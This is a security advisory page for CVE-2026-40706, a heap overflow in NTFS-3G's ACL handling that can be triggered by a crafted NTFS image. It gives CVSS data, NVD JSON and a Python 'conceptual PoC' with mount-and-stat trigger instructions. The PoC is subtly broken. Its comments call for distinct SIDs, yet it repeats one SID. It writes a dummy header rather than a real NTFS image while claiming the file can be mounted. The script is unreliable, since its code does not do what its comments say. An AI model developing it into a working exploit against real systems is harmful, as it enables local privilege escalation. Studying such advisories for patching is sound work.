Security Vulnerability Report
中文
CVE-2026-40706 CVSS 8.4 HIGH

CVE-2026-40706

Published: 2026-04-21 22:16:19
Last Modified: 2026-04-22 21:23:53

Description

In NTFS-3G 2022.10.3 before 2026.2.25, a heap buffer overflow exists in ntfs_build_permissions_posix() in acls.c that allows an attacker to corrupt heap memory in the SUID-root ntfs-3g binary by crafting a malicious NTFS image. The overflow is triggered on the READ path (stat, readdir, open) when processing a security descriptor with multiple ACCESS_DENIED ACEs containing WRITE_OWNER from distinct group SIDs.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

NTFS-3G >= 2022.10.3, < 2026.2.25

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import sys import struct # Conceptual PoC for CVE-2026-40706 # This script demonstrates the structure of the malicious security descriptor # that triggers the heap buffer overflow in ntfs_build_permissions_posix. def create_malicious_ace(): # ACE Header: Type, Flags, Size # Type: ACCESS_DENIED_ACE_TYPE (0x01) # Flags: 0x00 # Size: Placeholder ace_header = struct.pack('<BBH', 0x01, 0x00, 0x00) # Mask: WRITE_OWNER (0x80000) mask = struct.pack('<I', 0x80000) # SID: Dummy SID (needs to vary for distinct groups to trigger the bug) # S-1-1-0 (World/Everyone) - simplified sid_revision = 1 sid_sub_authority_count = 1 sid_identifier_authority = b'\x00\x00\x00\x00\x00\x01' sid_sub_authority = struct.pack('<I', 0) sid = struct.pack('<B', sid_revision) sid += struct.pack('<B', sid_sub_authority_count) sid += sid_identifier_authority sid += sid_sub_authority # Assemble ACE (update size) ace_size = len(ace_header) + len(mask) + len(sid) ace_header = struct.pack('<BBH', 0x01, 0x00, ace_size) return ace_header + mask + sid def generate_exploit_image(filename): print(f"[*] Creating malicious NTFS image structure: {filename}") # In a real exploit, this would be a full NTFS filesystem image. # Here we focus on the Security Descriptor data stream. # Create multiple ACCESS_DENIED ACEs with distinct SIDs # to trigger the overflow in ntfs_build_permissions_posix aces = b'' for i in range(50): # Number of ACEs to overflow the buffer # Vary the SID to simulate distinct groups ace = create_malicious_ace() aces += ace with open(filename, 'wb') as f: # Write a dummy header f.write(b'NTFS_EXPLOIT_IMG') # Write the malicious ACL data f.write(aces) print("[+] Malicious image generated.") print("[+] Usage: Mount this image on a vulnerable system using ntfs-3g.") print("[+] Trigger: Run 'ls' or 'stat' on the mounted directory.") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <output_file>") else: generate_exploit_image(sys.argv[1])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40706", "sourceIdentifier": "[email protected]", "published": "2026-04-21T22:16:19.077", "lastModified": "2026-04-22T21:23:52.620", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "In NTFS-3G 2022.10.3 before 2026.2.25, a heap buffer overflow exists in ntfs_build_permissions_posix() in acls.c that allows an attacker to corrupt heap memory in the SUID-root ntfs-3g binary by crafting a malicious NTFS image. The overflow is triggered on the READ path (stat, readdir, open) when processing a security descriptor with multiple ACCESS_DENIED ACEs containing WRITE_OWNER from distinct group SIDs."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "references": [{"url": "https://github.com/tuxera/ntfs-3g/blob/d3ace19838ce37cfde55294e76841e6d2f393f9e/libntfs-3g/acls.c#L4011-L4027", "source": "[email protected]"}, {"url": "https://github.com/tuxera/ntfs-3g/releases/tag/2026.2.25", "source": "[email protected]"}, {"url": "https://github.com/tuxera/ntfs-3g/security/advisories/GHSA-4cwv-5285-63v9", "source": "[email protected]"}, {"url": "https://www.openwall.com/lists/oss-security/2026/04/21/4", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/21/4", "source": "af854a3a-2127-422b-91ae-364da2661108"}, {"url": "https://lists.debian.org/debian-lts-announce/2026/04/msg00024.html", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}